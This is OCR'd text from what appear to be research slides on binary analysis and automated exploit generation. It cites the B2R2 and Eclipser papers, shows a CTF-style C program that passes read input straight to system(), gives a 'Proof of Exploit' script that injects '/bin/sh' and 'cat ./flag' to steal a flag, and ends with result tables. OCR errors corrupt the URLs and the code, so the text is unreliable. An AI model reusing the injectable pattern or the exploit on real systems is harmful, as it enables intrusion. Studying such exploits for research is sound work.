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- NDSS BAR 2019, “B2R2: Building an Efficient Front-End for Binary
Analysis”
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— https.//qgithub.com/B2R2-org/B2R2

Jung, M., Kim, S., Han, H., Choi, J., & Cha, S. K. (2019, February). B2R2: Building an Efficient Front-End for Binary Analysis.

——— In The NDSS Workshop on Binary Analysis Research. Internet Society.


https://github.com/B2R2-org/B2R2
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 Eclipser
- |ICSE 2019, “Grey-box Concolic Testing on Binary Code”

« QI A A

= ==

— https://qithub.com/SoftSec-KAIST/Eclipser

Choi, J., Jang, J., Han, C., & Cha, S. K. (2019, May). Grey-box concolic testing on binary code. In Proceedings of the 41st

International Conference on Software Engineering (pp. 736-747). IEEE Press.


https://github.com/SoftSec-KAIST/Eclipser
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- Domain-Specific Language
* POE (Proof of Exploit)
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- Read, Write, Array slicing, Delay, Arithmetic <
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#include <stdio.h>
void func(){
char *command;

read (e, 0x10) ;

system(command);

}
int main(){

func();
return o;

}
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act exploit (): pzz/// ]

write 2F62696E2F7368007E7E7E7E7E7E7E7Ehs
write OAhs
delay 1000 LZZ/// ]
write 636174202E2F666C61670Ahs

flag := (substr -128 -1 (read (-1)))

return flag

submit:
return (exploit ())
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| Whitebox | Greybox | _Both | Failure | _Total _
10 9 8 9 20
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| Whitebox | Grey-box | Both | Failure | Total _
11 13 8 4 20

Test
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| Whitebox* | Grey-box* | _Both* | Failure | _Total _
1st 8 3 0 9 20

2 8 10 2 4 20
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